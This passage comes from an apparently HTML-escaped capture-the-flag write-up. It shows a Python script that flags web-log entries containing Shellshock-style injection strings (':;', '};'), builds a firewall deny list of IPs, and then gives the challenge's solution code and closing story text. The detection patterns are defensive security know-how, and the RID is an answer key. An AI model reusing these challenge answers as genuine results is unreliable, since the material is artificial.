&lt;span class="s2">&amp;#34;:;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;};&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]):&lt;/span>
&lt;span class="n">ips_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="n">ua_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="c1"># collect new malicious agents that match existing ones but not in ips_blacklist&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">log&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">logs&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ua_blacklist&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ips_blacklist&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="n">ua_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="c1"># identifiy agents that are found more than 9 times &amp;gt; those should be benign and can be whitelisted&lt;/span>
&lt;span class="n">ua_blacklist_counts&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">ua_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ua_blacklist&lt;/span> &lt;span class="p">}&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ua_blacklist_counts&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="n">ua_blacklist_counts&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="n">ua_whitelist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1"># identify additional IPs that are in ua_blacklist and not in ua_whitelist&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">log&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">logs&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ua_blacklist&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ua_whitelist&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ips_blacklist&lt;/span> &lt;span class="p">:&lt;/span>
&lt;span class="n">ips_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="c1"># print out comma separated string for pastin into srf.elfu.org firewall for DENY&lt;/span>
&lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;,&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ips_blacklist&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Output list of IP addresses that are most likely poisoning the weather API:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">229.133.163.235,132.45.187.177,65.153.114.120,22.34.153.164,187.152.203.243,231.179.108.238,220.132.33.81,52.39.201.107,87.195.80.126,118.26.57.38,194.143.151.224,111.81.145.191,42.103.246.250,150.45.133.97,1.185.21.112,79.198.89.109,45.239.232.245,249.90.116.138,250.22.86.40,169.242.54.5,253.65.40.39,34.129.179.28,66.116.147.181,121.7.186.163,44.164.136.41,150.50.77.238,106.93.213.219,81.14.204.154,2.240.116.254,50.154.111.0,92.213.148.0,0.216.249.31,29.0.183.220,53.160.218.44,254.140.181.172,140.60.154.239,102.143.16.184,13.39.153.254,83.0.8.119,34.155.174.167,118.196.230.170,135.203.243.43,49.161.8.58,25.80.197.172,126.102.12.53,2.230.60.70,69.221.145.150,131.186.145.73,84.185.44.166,238.143.78.114,168.66.108.62,27.88.56.114,19.235.69.221,42.127.244.30,37.216.249.50,97.220.93.190,211.229.3.254,80.244.147.207,193.228.194.36,226.102.56.13,33.132.98.193,227.110.45.126,61.110.82.125,230.246.50.221,28.169.41.122,158.171.84.209,75.73.228.192,203.68.29.5,226.240.188.154,249.237.77.152,173.37.160.150,180.57.20.247,42.103.246.130,103.235.93.133,68.115.251.76,9.206.212.33,75.215.214.65,186.28.46.179,187.178.169.123,142.128.135.10,42.191.112.181,148.146.134.52,84.147.231.129,95.166.116.45,123.127.233.97,31.116.232.143,229.229.189.246,44.74.106.131,135.32.99.116,217.132.156.225,42.16.149.112,223.149.180.133,252.122.243.212,249.34.9.16,185.19.7.133,116.116.98.205,250.51.219.47,106.132.195.153,10.155.246.29,56.5.47.137,104.179.109.113,23.49.177.78,48.66.193.176,225.191.220.138,10.122.158.57,253.182.102.55,200.75.228.240,190.245.228.38,233.74.78.199,129.121.121.48
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you submit this string and hit Deny, the calculator will start running and provide you with the RID that you need to submit for solving the final Objective.&lt;/p>
&lt;p>&lt;img src="../images/obj12-solution.png" alt="SRF solved">&lt;/p>
&lt;p>RID: &lt;strong>0807198508261964&lt;/strong>&lt;/p>
&lt;h2 id="the-bell-tower">The Bell Tower&lt;/h2>
&lt;p>Once you submit the RID through your personal badge, you get access to The Bell Tower through the door that just opened in the Sleigh Shop. Go up and talk to the fellas for finishing this once and for all!&lt;/p>
&lt;p>&lt;img src="../images/obj12-belltower.png" alt="SRF solved">&lt;/p>
&lt;p>Santa seems quite grateful and happy:&lt;/p>
&lt;blockquote>
&lt;p>You did it! Thank you! You uncovered the sinister plot to destroy the holiday season!
Through your diligent efforts, we’ve brought the Tooth Fairy to justice and saved the holidays!
Ho Ho Ho!
The more I laugh, the more I fill with glee.
And the more the glee,
The more I&amp;rsquo;m a merrier me!
Merry Christmas and Happy Holidays.&lt;/p>
&lt;/blockquote>
&lt;p>Next you get some good news from Krampus:&lt;/p>
&lt;blockquote>
&lt;p>Congratulations on a job well done!
Oh, by the way, I won the Frido Sleigh contest.
I got 31.8% of the prizes, though I&amp;rsquo;ll have to figure that out.&lt;/p>
&lt;/blockquote>
&lt;p>Let&amp;rsquo;s hope he will share with others, his lifetime supply of cookiez&amp;hellip; :) However, quite understandably, The Tooth Fairy is not as jolly as the Krampus:&lt;/p>
&lt;blockquote>
&lt;p>You foiled my dastardly plan! I’m ruined! And I would have gotten away with it too, if it weren&amp;rsquo;t for you meddling kids!&lt;/p>
&lt;/blockquote>
&lt;p>Whats more, there is a suspicious note in the corner which seems to suggest we probably cannot rest for too long, before the villains return and try to ruin the holiday once again&amp;hellip;&lt;/p>
&lt;p>&lt;img src="../images/obj12-note.png" alt="SRF solved">&lt;/p></description></item></channel></rss>